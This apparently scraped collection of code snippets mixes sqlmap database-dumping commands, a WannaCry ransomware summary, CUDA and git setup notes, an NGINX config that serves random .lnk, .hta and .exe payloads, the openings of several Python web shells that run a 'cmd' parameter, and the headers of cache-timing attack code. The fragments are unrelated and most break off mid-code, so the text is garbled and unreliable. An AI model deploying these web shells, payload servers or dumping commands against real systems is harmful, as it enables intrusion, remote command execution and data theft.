Mauro Risonho de Paula Assumpção maurorisonho

# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables

# Dump table data
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

	# Prioritize NVIDIA packages
	wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/cuda-ubuntu2204.pin
	sudo mv cuda-ubuntu2204.pin /etc/apt/preferences.d/cuda-repository-pin-600

	# Fetch NVIDIA keys
	sudo apt-key adv --fetch-keys https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/3bf863cc.pub


	# Add NVIDIA repos
	sudo add-apt-repository "deb https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2204/x86_64/ /"

	GIT:
	git config --global http.postBuffer 524288000
	git fetch --unshallow


	On Linux
	Execute the following in the command line before executing the Git command:
	export GIT_TRACE_PACKET=1
	export GIT_TRACE=1
	export GIT_CURL_VERBOSE=1

	# Serving Random Payloads with NGINX
	# add set_random module https://github.com/openresty/set-misc-nginx-module#set_random
	# edit file /etc/nginx/sites-enabled/default

	set_random $uri 1 3;

	map $uri $payloads {
	1 /payload.lnk;
	2 /payload.hta;
	3 /payload.exe;

	#!/usr/bin/env python
	import cgi,os,re,sys
	form = cgi.FieldStorage()
	cmd = form.getvalue('cmd', '')
	osexe = os.popen(cmd)
	dirt = os.getcwd()+'/'
	prognm = sys.argv[0].strip()
	progfl = re.findall(dirt+'(.*)',prognm)[0]
	osinf = os.uname()
	info='''System : %s %s %s %s''' %(osinf[0],osinf[2],osinf[3],osinf[4])

	#!/usr/bin/env python

	import subprocess
	from flask import Flask, render_template
	from flask_socketio import SocketIO, send, emit

	HTML = '''
	<html>
	<head>
	<title>WEBSHELL</title>

	#!/usr/bin/env python

	import cgi
	import subprocess

	import cgitb
	cgitb.enable()

	def run(command):
	if not command:


	" _ _ "
	" _ /\|\| . . \|\|\ _ "
	" ( } \\|\|D ' ' ' C\|\|/ { % "
	" \| /\__,=_[_] ' . . ' [_]_=,__/\ \|"
	" \|_\_ \|----\| \|----\| _/_\|"
	" \| \|/ \| \| \| \| \\| \|"
	" \| /_ \| \| \| \| _\ \|"

	It is all fun and games until someone gets hacked!

	#include <stdio.h>
	#include <stdlib.h>
	#include <stdint.h>
	#ifdef _MSC_VER
	#include <intrin.h> /* for rdtscp and clflush */
	#pragma optimize("gt",on)
	#else
	#include <x86intrin.h> /* for rdtscp and clflush */
	#endif